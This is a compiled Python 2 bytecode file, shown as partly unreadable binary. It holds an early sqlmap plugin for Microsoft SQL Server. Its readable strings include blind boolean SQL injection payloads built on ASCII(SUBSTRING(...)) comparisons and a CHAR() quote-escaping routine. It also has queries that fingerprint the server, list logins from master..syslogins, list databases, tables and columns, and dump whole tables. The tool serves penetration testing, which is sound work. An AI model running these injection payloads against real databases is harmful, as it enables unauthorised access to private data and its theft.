³ò
‰ŸFc           @   sZ   d  d k  Z  d  d k Z d  d k Z d  d k Z d  d k l Z d e f d „  ƒ  YZ d S(   iÿÿÿÿN(   t   UnionUset   MSSQLServerMapc           B   sž   e  Z d  Z d „  Z d „  Z d „  Z d „  Z d „  Z d „  Z d „  Z	 d „  Z
 d	 „  Z d
 „  Z d „  Z d „  Z d „  Z d „  Z d „  Z d „  Z RS(   sW   
    This class defines Microsoft SQL Server methods

    @author: Bernardo Damele
    c         C   s^   | |  _  t i d ƒ |  _ d |  _ d |  _ g  |  _ g  |  _ g  |  _ h  |  _	 h  |  _
 d  S(   Nt	   sqlmapLogt    (   t   argst   loggingt	   getLoggert   loggert   _MSSQLServerMap__bannert   _MSSQLServerMap__currentDbt   _MSSQLServerMap__fingerprintt   _MSSQLServerMap__cachedUserst   _MSSQLServerMap__cachedDbst   _MSSQLServerMap__cachedTablest   _MSSQLServerMap__cachedColumns(   t   selfR   (    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pyt   __init__   s    							c         C   sý   xö t  oî | i d ƒ } | d j o Pn | d } | | i d ƒ } | d j o t d | ‚ n | | } d | | | !} d } xN t | | ƒ D]= } | d t | | ƒ 7} | | d j  o | d 7} q— q— W| d	 7} | i | | ƒ } q W| S(
   Nt   'iÿÿÿÿi   s   Unenclosed ' in '%s's   '%s't   (s   CHAR(%d)t   +t   )(   t   Truet   findt	   Exceptiont   ranget   ordt   replace(   R   t
   expressiont   indext
   firstIndext	   lastIndext   oldt	   unescapedt   i(    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pyt   unescape    s&    


 
c         C   s   |  i  d d d ƒ S(   Ns'    AND ASCII(SUBSTRING((%s), %d, 1)) > %ds2    AND ASCII(SUBSTRING((%s), %d, 1)) > %d AND '1'='1s2    AND ASCII(SUBSTRING((%s), %d, 1)) > %d AND "1"="1(   t   injectionStm(   R   (    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pyt	   createStm;   s    	c         C   sÅ   |  i  i p d Sn |  i d |  i ƒ } d | } |  i ow t i d |  i ƒ } | o= d | i ƒ  d } | i ƒ  d } |  i | | g ƒ } n d
 } | d	 | | f 7} n | |  i  _ | S(   Ns   Microsoft SQL Servers   active fingerprint: %ss,   Microsoft SQL Server\s+([\d\.]+) - ([\d\.]+)s    Microsoft SQL Server %s, versioni    i   t    i   s!   
%sbanner parsing fingerprint: %ss                   (	   R   t   exaustiveFpt   parseFpR
   R   t   ret   searcht   groupst   fingerprint(   R   t   actVert   valuet   banVert   releaset   blank(    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pyt   getFingerprintA   s    

c         C   s=   d } |  i  i | ƒ |  i p |  i d ƒ |  _ n |  i S(   Ns   fetching banners	   @@VERSION(   R   t   infoR   t   getValue(   R   t   logMsg(    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pyt	   getBannerW   s
    
c         C   s#   d } |  i  i | ƒ |  i d ƒ S(   Ns   fetching current users   USER_NAME()(   R   R2   R3   (   R   R4   (    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pyt   getCurrentUsera   s    c         C   s<   d } |  i  i | ƒ |  i o |  i Sn |  i d ƒ Sd  S(   Ns   fetching current databases	   DB_NAME()(   R   R2   R	   R3   (   R   R4   (    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pyt   getCurrentDbh   s
    
c         C   sî   d } |  i  i | ƒ d } |  i | ƒ } t | ƒ p | d j o d } t | ‚ n d } |  i  i | ƒ g  } x^ t t | ƒ ƒ D]J } d } | d | 7} | d 7} | d	 7} |  i | ƒ } | i | ƒ qˆ W| p t d
 ‚ n | S(   Ns!   fetching number of database userss5   SELECT LTRIM(STR(COUNT(name))) FROM master..sysloginst   0s/   unable to retrieve the number of database userss   fetching database userss)   SELECT TOP 1 name FROM master..syslogins s&   WHERE name NOT IN (SELECT TOP %d name s&   FROM master..syslogins ORDER BY name) s   ORDER BY names%   unable to retrieve the database users(   R   R2   R3   t   lenR   R   t   intt   append(   R   R4   t   stmt   countt   errMsgt   usersR   t   user(    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pyt   getUsersr   s*     

c         C   s   d } | d 7} t  | ‚ d  S(   Ns-   Microsoft SQL Server plugin does not support s%   the password hashes functionality yet(   R   (   R   R>   (    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pyt   getPasswordHashes’   s    
c         C   sý   d } |  i  i | ƒ d } |  i | ƒ } t | ƒ p | d j o d } t | ‚ n d } |  i  i | ƒ g  } x^ t t | ƒ ƒ D]J } d } | d | 7} | d 7} | d	 7} |  i | ƒ } | i | ƒ qˆ W| o | |  _ n d
 } t | ‚ | S(   Ns   fetching number of databasess8   SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabasesR8   s*   unable to retrieve the number of databasess   fetching database namess,   SELECT TOP 1 name FROM master..sysdatabases s&   WHERE name NOT IN (SELECT TOP %d name s)   FROM master..sysdatabases ORDER BY name) s   ORDER BY names%   unable to retrieve the database names(	   R   R2   R3   R9   R   R   R:   R;   R   (   R   R4   R<   R=   R>   t   dbsR   t   db(    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pyt   getDbs˜   s.     

	c         C   s1  |  i  i p- t |  i ƒ p |  i ƒ  } qu |  i } n< d |  i  i j o |  i  i i d ƒ } n |  i  i g } h  } x{| D]s} d | } |  i i | ƒ d } | d | 7} | d 7} |  i | ƒ } t | ƒ p | d j o+ d } | d | 7} |  i i	 | ƒ q‚ n d	 | } |  i i | ƒ g  } x„ t
 t | ƒ ƒ D]p }	 d
 } | d | 7} | d 7} | d |	 7} | d | 7} | d 7} | d 7} |  i | ƒ }
 | i |
 ƒ qHW| o | | | <q‚ d } | d | 7} |  i i	 | ƒ q‚ W| o | |  _ n! |  i  i p d } t | ‚ n | S(   Nt   ,s+   fetching number of tables for database '%s's*   SELECT LTRIM(STR(COUNT(table_name))) FROM s   %s.information_schema.tables s   WHERE table_type = 'BASE TABLE'R8   s!   unable to retrieve the number of s   tables for database '%s's!   fetching tables for database '%s's   SELECT TOP 1 table_name FROM s#   %s.information_schema.tables WHERE s)   table_type = 'BASE TABLE' AND table_name s!   NOT IN (SELECT TOP %d table_name s(   FROM %s.information_schema.tables WHERE s/   table_type = 'BASE TABLE' ORDER BY table_name) s   ORDER BY table_names   unable to retrieve the tables s   for database '%s's.   unable to retrieve the tables for any database(   R   RD   R9   R   RE   t   splitR   R2   R3   t   warnR   R:   R;   R   R   (   R   RC   t   dbTablesRD   R4   R<   R=   t   warnMsgt   tablesR   t   tableR>   (    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pyt	   getTables¼   s\     


 


c         C   sq  |  i  i p d } t | ‚ n d |  i  i j o+ |  i  i i d ƒ \ |  i  _ |  i  _ n |  i  i p' d } | d 7} | d 7} t | ‚ n d } | d |  i  i |  i  i f 7} |  i i | ƒ d } | d	 |  i  i 7} | d
 |  i  i 7} | d |  i  i 7} | d |  i  i 7} | d |  i  i 7} | d |  i  i 7} | d |  i  i 7} | d 7} |  i | ƒ } t | ƒ p | d j o; d } | d |  i  i 7} | d |  i  i 7} t | ‚ n d |  i  i } | d |  i  i 7} |  i i | ƒ h  } h  } h  } xæt	 t
 | ƒ ƒ D]Ò} d } | d	 |  i  i 7} | d
 |  i  i 7} | d |  i  i 7} | d |  i  i 7} | d |  i  i 7} | d |  i  i 7} | d |  i  i 7} | d 7} | d | 7} | d	 |  i  i 7} | d
 |  i  i 7} | d |  i  i 7} | d |  i  i 7} | d |  i  i 7} | d |  i  i 7} | d |  i  i 7} | d 7} |  i | ƒ }	 d } | d |  i  i 7} | d |  i  i 7} | d |	 7} | d |  i  i 7} | d |  i  i 7} |  i | ƒ }
 |
 | |	 <q"W| o$ | | |  i  i <| | |  i  i <n8 d  } | d! |  i  i 7} | d |  i  i 7} t | ‚ | |  i |  i  i <| S("   Ns   missing table parametert   .s$   missing database parameter which is s"   mandatory to get table columns on s   Microsoft SQL Server plugins%   fetching number of columns for table s   '%s' on database '%s's+   SELECT LTRIM(STR(COUNT(column_name))) FROM s   %s.information_schema.columns, s   %s.information_schema.tables s   WHERE %s.information_schemas   .columns.table_name = '%s' AND s(   %s.information_schema.columns.table_names*   = %s.information_schema.tables.table_name s,   AND %s.information_schema.tables.table_type s   = 'BASE TABLE'R8   s)   unable to retrieve the number of columns s   for table '%s' s   on database '%s's    fetching columns for table '%s' s   SELECT TOP 1 column_name FROM s&   = 'BASE TABLE' AND column_name NOT IN s    (SELECT TOP %d column_name FROM s9   = 'BASE TABLE' ORDER BY column_name) ORDER BY column_names   SELECT data_type FROM s   %s.information_schema.columns s$   WHERE %s.information_schema.columns.s   column_name = '%s' AND s   %s.information_schemas   .columns.table_name = '%s's#   unable to retrieve the columns for s   table '%s' (   R   t   tblR   RG   RD   R   R2   R3   R9   R   R:   R   (   R   R>   R4   R<   R=   t   tableColumnsRL   t   columnsR   t   columnt   coltype(    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pyt
   getColumnsü   s    +

 
 

	c         C   sÇ  |  i  i p d } t | ‚ n d |  i  i j o+ |  i  i i d ƒ \ |  i  _ |  i  _ n |  i  i p' d } | d 7} | d 7} t | ‚ n |  i p |  i ƒ  |  _ n d } | d |  i  i |  i  i f 7} |  i i | ƒ d |  i  i |  i  i f } h  } d	 | } |  i	 | ƒ } t
 | ƒ p | d
 j o; d } | d |  i  i 7} | d |  i  i 7} t | ‚ n |  i  i o |  i  i i d ƒ |  i  _ n |  i |  i  i |  i  i } xj| i ƒ  D]\} |  i  i o | |  i  i j o qÌn d | } | d |  i  i 7} | d |  i  i 7} |  i i | ƒ d }	 g  }
 h  } h  | | <x‰ t t | ƒ ƒ D]u } d | | f } | d | | f 7} | d | | f 7} |  i	 | ƒ } t |	 t
 t | ƒ ƒ ƒ }	 |
 i | ƒ qjW|	 t
 | ƒ j  o t
 | ƒ | d <n |	 | d <|
 | d <| | | <qÌW| oY h  } |  i  i o |  i  i | d <n d  | d <|  i  i | d <| | d <| | d <n8 d } | d |  i  i 7} | d |  i  i 7} t | ‚ | S(   Ns   missing table parameterRN   s$   missing database parameter which is s"   mandatory to get table columns on s   Microsoft SQL Server plugins%   fetching number of entries for table s   '%s' on database '%s's   %s..%ss#   SELECT LTRIM(STR(COUNT(*))) FROM %sR8   s)   unable to retrieve the number of entries s   for table '%s' s   on database '%s'RF   s$   fetching entries of column '%s' for s   table '%s' i    s   SELECT TOP 1 %s FROM %s s   WHERE %s NOT IN (SELECT TOP %d s   %s FROM %s)t   lengtht   valuesRD   RL   R=   t	   __infos__s#   unable to retrieve the entries for (   R   RO   R   RG   RD   R   RT   R   R2   R3   R9   t   colt   keysR   R:   t   maxt   strR;   t   None(   R   R>   R4   t   fromExprt   columnValuesR<   R=   RQ   RR   RU   RV   t
   columnDataR   R-   t   infos(    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pyt	   dumpTableV  s‚    +


 
  

 



	c         C   s   d } | d 7} t  | ‚ d  S(   Ns!   Microsoft SQL Server plugin does s   not support file reading(   R   (   R   t   filenameR>   (    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pyt   getFile¯  s    
c         C   s/   |  i  i o |  i | ƒ Sn |  i | ƒ Sd  S(   N(   R   t   unionUseR3   (   R   R   (    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pyt   getExprµ  s    c         C   sù   |  i  i d j o% d |  i  _ |  i  i p t Sq8 n d } |  i i | ƒ t t i	 d d ƒ ƒ } d | } |  i
 | ƒ d j oU d |  i  _ |  i  i p t Sn g  |  _ |  i  i o |  i
 d ƒ |  _ n t Sn d	 } |  i i | ƒ t Sd  S(
   Ns   microsoft sql servers   Microsoft SQL Servers   testing Microsoft SQL Serveri   i	   s   LTRIM(STR(LEN(%s)))t   1s	   @@VERSIONs+   the remote DMBS is not Microsoft SQL Server(   R   t   dbmsR+   R&   R   R   R2   R[   t   randomt   randintR3   R
   R5   R   RH   t   False(   R   R4   t   randIntR<   RJ   (    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pyt	   checkDbms¼  s&    
	(   t   __name__t
   __module__t   __doc__R   R"   R$   R1   R5   R6   R7   RA   RB   RE   RM   RT   Ra   Rc   Re   Rl   (    (    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pyR      s"   					
		
	 		$	@	Z	Y		(   R   Rh   R(   t   timet	   lib.unionR    R   (    (    (    s@   /usr/local/www/apache22/data/stuff/sql/plugins/mssqlservermap.pys   <module>   s
   
